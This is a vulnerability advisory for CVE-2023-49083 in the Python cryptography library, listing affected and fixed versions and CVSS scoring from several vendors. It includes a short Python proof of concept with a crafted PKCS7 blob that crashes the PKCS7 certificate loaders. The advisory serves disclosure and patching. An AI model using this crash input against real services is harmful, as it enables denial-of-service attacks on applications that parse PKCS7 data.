CVE-2023-49083
ADVISORY - githubSummary
Summary
Calling load_pem_pkcs7_certificates or load_der_pkcs7_certificates could lead to a NULL-pointer dereference and segfault.
PoC
Here is a Python code that triggers the issue:
from cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates
pem_p7 = b"""
-----BEGIN PKCS7-----
MAsGCSqGSIb3DQEHAg==
-----END PKCS7-----
"""
der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02"
load_pem_pkcs7_certificates(pem_p7)
load_der_pkcs7_certificates(der_p7)
Impact
Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability.
Common Weakness Enumeration (CWE)
NULL Pointer Dereference
NULL Pointer Dereference
NULL Pointer Dereference
GitHub
2.2
CVSS SCORE
5.9medium| Package | Type | OS Name | OS Version | Affected Ranges | Fix Versions |
|---|---|---|---|---|---|
| cryptography | pypi | - | - | >=3.1,<41.0.6 | 41.0.6 |
CVSS:3 Severity and metrics
The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.
The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).
A successful attack depends on conditions beyond the attacker's control, requiring investing a measurable amount of effort in research, preparation, or execution against the vulnerable component before a successful attack.
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
The vulnerable system can be exploited without interaction from any user.
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
There is no loss of confidentiality.
There is no loss of trust or accuracy within the impacted component.
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component.
NIST
2.2
CVSS SCORE
5.9mediumAlpine
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Debian
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Ubuntu
3.9
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7.5mediumAlma
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N/AmediumAlma
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N/AmediumAlma
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N/AmediumAlma
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N/AmediumAmazon
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N/AmediumRed Hat
3.9
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7.5mediumRocky
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N/AlowRocky
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N/AlowRocky
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N/AlowRocky
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N/AlowOracle
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N/AhighOracle
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N/AhighOracle
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N/AmediumOracle
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N/AmediumOracle
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N/AmediumOracle
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N/AmediumOracle
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N/AmediumOracle
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N/AmediumChainguard
CGA-ww2v-8w75-whg8
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Photon
CVE-2023-49083
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CVSS SCORE
7.5highintheWild
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